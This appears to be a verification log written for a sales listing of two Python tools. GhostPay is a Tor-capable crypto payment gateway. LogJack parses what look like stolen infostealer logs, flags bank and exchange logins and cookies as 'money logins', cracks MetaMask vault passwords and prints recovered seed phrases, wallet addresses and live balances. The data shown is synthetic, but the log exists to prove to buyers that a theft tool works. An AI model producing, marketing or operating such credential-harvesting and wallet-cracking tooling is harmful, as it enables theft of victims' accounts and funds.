Verification log — generated 2026-10-26 19:11 UTC on Darwin arm64, python 3.9.6
Paste this in your listing. Everything below is reproducible by the buyer.

================ GhostPay: ghostpay.py selftest (protocol vectors) ================
GhostPay self-test: 68 passed, 0 failed

================ LogJack: logjack.py selftest (AES-GCM, keccak, vaults) ================
LogJack self-test: 17 passed, 0 failed

================ LogJack: end-to-end on a synthetic log ================
  LogJack 0.1.0 -- /tmp/proof-log.zip
    files scanned : 5
    System.txt    : OS: Windows 10 Pro 22H2 / User: victim / CPU: Ryzen 5 5600X / RAM: 32GB
  
    credentials   : 4
      exchange   2  https://www.binance.com, https://www.coinbase.com/login
      bank       1  https://chase.com
      mail       1  https://mail.google.com
  
    MONEY LOGINS
      https://www.coinbase.com/login victim@example.com           *******
      https://chase.com              victim                       *******
      https://www.binance.com        victim@example.com           *********
  
    cookie files  : 5 hosts
      gmail.com                            21 cookies  [mail]
      coinbase.com                         14 cookies  [exchange]
      binance.com                           9 cookies  [exchange]
      chase.com                             6 cookies  [bank]
      reddit.com                            3 cookies  [social]
  
    wallets       : 1 artifact groups, 1 encrypted vault(s)
      MetaMask       Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn
  
    -> run `logjack decrypt /tmp/proof-log.zip` to try the passwords and recover the seed
  LogJack 0.1.0 -- 1 vault(s), 4 candidate password(s)
  
  [MetaMask] Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn/000003.log
      PASSWORD CRACKED : hunter2  (aes-256-gcm, 10000 iters)
      SEED             : abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about
  
      BTC  bc1qcr8te4kr609gcawutmrza0j4xv80jy8z306fyu
      BTC  bc1q8c6fshw2dlwun7ekn9qwf37cu2rn755upcp6el
      ETH  0x9858effd232b4033e47d90003d41ec34ecaeda94

================ ghostpay doctor: live chain, clearnet AND Tor ================
GhostPay 1.0.0 doctor
  python        : 3.9.6
  stdlib only   : extra modules present (fine)
  crypto vectors: 68 passed / 0 failed
  assets        : BTC
  xpub BTC      : BTC / p2wpkh / depth 3
  tor socks     : socks5h://127.0.0.1:9050
  explorer clearnet BTC : mempool.space -> tip 973275
  explorer onion    BTC : mempoolhqx4isw62xs7abwphsq7lda -> FAILED (timed out)
  api key       : auto-generated on first serve
  verdict       : READY

================ full test suite (crypto | QR audit | e2e | logjack | live+Tor) ================
== built-in vectors (selftest) ==
GhostPay self-test: 68 passed, 0 failed
== tests/test_crypto.py ==
test_bad_checksum_rejected (__main__.TestBase58) ... ok
test_check_vector (__main__.TestBase58) ... ok
test_bech32m_required_for_v1 (__main__.TestBech32) ... ok
test_invalid_strings_rejected (__main__.TestBech32) ... ok
test_segwit_roundtrip_and_spec (__main__.TestBech32) ... ok
test_valid_strings_decode (__main__.TestBech32) ... ok
test_bip32_test_vector_1 (__main__.TestBip32AndAddresses)
BIP32 official vector 1 -- full chain, private derivation. ... ok
test_bip32_test_vector_1_public_derivation (__main__.TestBip32AndAddresses)
The path GhostPay actually uses: children derived from an xpub alone. ... ok
test_bip39_validation (__main__.TestBip32AndAddresses) ... ok
test_bip44_legacy_vector (__main__.TestBip32AndAddresses) ... ok
test_bip84_vector (__main__.TestBip32AndAddresses) ... ok
test_bip86_taproot_vector (__main__.TestBip32AndAddresses)
BIP86 test vectors: internal key -> tweaked output key -> address. ... ok
test_hardened_child_from_xpub_rejected (__main__.TestBip32AndAddresses) ... ok
test_xpub_prefixes (__main__.TestBip32AndAddresses) ... ok
test_hash160_vector (__main__.TestHashes) ... ok
test_ripemd160_pure_python_matches_openssl (__main__.TestHashes) ... ok
test_tagged_hash (__main__.TestHashes) ... ok

----------------------------------------------------------------------
Ran 17 tests in 1.824s

OK
== tests/test_qr_reference.py ==
test_auto_version_matches_reference_choice (__main__.TestAgainstReference) ... ok
test_capacity_agrees_with_reference (__main__.TestAgainstReference) ... ok
test_every_version_level_mask_at_capacity_boundaries (__main__.TestAgainstReference) ... ok
test_realistic_checkout_uri (__main__.TestAgainstReference) ... ok
test_utf8_multibyte (__main__.TestAgainstReference) ... ok
test_module_count_leaves_exactly_the_remainder_bits (__main__.TestCapacityMath) ... ok
test_totals_match_spec (__main__.TestCapacityMath) ... ok
test_auto_mask_is_stable_and_in_range (__main__.TestSvg) ... ok
test_forced_mask_changes_output (__main__.TestSvg) ... ok
test_svg_geometry_follows_matrix (__main__.TestSvg) ... ok

----------------------------------------------------------------------
Ran 10 tests in 1.778s

OK
== tests/test_gateway_e2e.py ==
test_01_health_and_info (__main__.E2E) ... [http] 127.0.0.1 "GET /health HTTP/1.1" 200 -
ok
test_02_auth_required (__main__.E2E) ... [http] 127.0.0.1 "POST /api/v1/invoices HTTP/1.1" 401 -
ok
test_03_address_derivation_and_uniqueness (__main__.E2E) ... [http] 127.0.0.1 "POST /api/v1/invoices HTTP/1.1" 201 -
ok
test_04_checkout_page (__main__.E2E) ... [http] 127.0.0.1 "POST /api/v1/invoices HTTP/1.1" 201 -
ok
test_05_relabelled_fake_explorer_paths (__main__.E2E) ... [http] 127.0.0.1 "POST /api/v1/invoices HTTP/1.1" 201 -
ok
test_06_full_payment_lifecycle_with_signed_webhook (__main__.E2E) ... [http] 127.0.0.1 "POST /api/v1/invoices HTTP/1.1" 201 -
ok
test_07_overpayment_is_not_a_double_credit (__main__.E2E) ... [http] 127.0.0.1 "POST /api/v1/invoices HTTP/1.1" 201 -
ok
test_08_underpayment_then_topup (__main__.E2E) ... [http] 127.0.0.1 "POST /api/v1/invoices HTTP/1.1" 201 -
ok
test_09_expiry (__main__.E2E) ... [http] 127.0.0.1 "POST /api/v1/invoices HTTP/1.1" 201 -
ok
test_10_webhook_retry_on_failure (__main__.E2E) ... [http] 127.0.0.1 "POST /api/v1/invoices HTTP/1.1" 201 -
ok
test_11_cancel (__main__.E2E) ... [http] 127.0.0.1 "POST /api/v1/invoices HTTP/1.1" 201 -
ok
test_12_fiat_invoice_uses_rate (__main__.E2E) ... [http] 127.0.0.1 "POST /api/v1/invoices HTTP/1.1" 201 -
ok
test_13_list_and_get (__main__.E2E) ... [http] 127.0.0.1 "GET /api/v1/invoices?limit=5 HTTP/1.1" 200 -
ok
test_14_watcher_thread_alive (__main__.E2E) ... ok

----------------------------------------------------------------------
Ran 14 tests in 2.014s

OK
== tests/test_logjack.py ==
test_cbc_roundtrip_via_gcm_lib (__main__.TestAes) ... ok
test_decrypt_block_inverts_encrypt (__main__.TestAes) ... ok
test_fips197 (__main__.TestAes) ... ok
test_balance_offline_address_classification (__main__.TestEndToEnd) ... ok
test_decrypt_offline_recovers_seed (__main__.TestEndToEnd) ... ok
test_report_finds_money (__main__.TestEndToEnd) ... ok
test_report_json (__main__.TestEndToEnd) ... ok
test_matches_cryptography_random (__main__.TestGcmAgainstReference) ... ok
test_pbkdf2_matches_hashlib (__main__.TestGcmAgainstReference) ... ok
test_erc20_selector (__main__.TestKeccakEth) ... ok
test_eth_address_of_bip44_vector (__main__.TestKeccakEth) ... ok
test_eth_addresses_of_known_keys (__main__.TestKeccakEth) ... ok
test_keccak_vectors (__main__.TestKeccakEth) ... ok
test_cookie_parsing (__main__.TestParsers) ... ok
test_credential_block_format (__main__.TestParsers) ... ok
test_tab_format_and_dedup (__main__.TestParsers) ... ok
test_wallet_dir_detection (__main__.TestParsers) ... ok
test_decrypts_with_16_byte_iv_and_fallbacks (__main__.TestVaults) ... ok
test_decrypts_with_metadata_iterations (__main__.TestVaults) ... ok
test_find_vaults_in_nested_extension_dir (__main__.TestVaults) ... ok
test_vault_hidden_among_other_json (__main__.TestVaults) ... ok
test_wrong_password_returns_none (__main__.TestVaults) ... ok

----------------------------------------------------------------------
Ran 22 tests in 4.424s

OK
== tests/test_live.py (needs network) ==
test_doctor_runs_and_is_green_offline (__main__.TestDoctorCli) ... ok
test_coingecko_rate (__main__.TestLiveClearnet) ... ok
test_derived_addresses_are_on_the_real_chain (__main__.TestLiveClearnet)
The two BIP test-vector addresses we derive must be known to the chain. ... ok
test_fresh_derived_address_accepted_by_explorer (__main__.TestLiveClearnet)
A never-used index must still be a valid address (not just a string). ... ok
test_litecoin_explorer_is_esplora_compatible (__main__.TestLiveClearnet) ... ok
test_tip_height_and_fee_estimate (__main__.TestLiveClearnet) ... ok
test_explorer_class_over_tor (__main__.TestLiveTor) ... ok
test_hirez_checkout_qr_address_fetchable_over_tor (__main__.TestLiveTor)
Full stack: derive an address, then look it up through Tor. ... ok
test_onion_and_clearnet_agree_on_the_chain (__main__.TestLiveTor) ... ok
test_onion_explorer_over_socks5h (__main__.TestLiveTor) ... ok

----------------------------------------------------------------------
Ran 10 tests in 20.557s

OK
== tests/test_logjack_live.py (needs network) ==
test_btc_balance_read (__main__.TestLiveBalances) ... ok
test_erc20_balance_of_exchange_wallet (__main__.TestLiveBalances) ... ok
test_eth_balance_of_known_wallet (__main__.TestLiveBalances) ... ok
test_rpc_failover_used (__main__.TestLiveBalances) ... ok
test_balance_command_prints_total (__main__.TestLiveCli) ... ok

----------------------------------------------------------------------
Ran 5 tests in 2.598s

OK
ALL TESTS PASSED
zsh:23: no matches found: /tmp/gp_proof2.db*
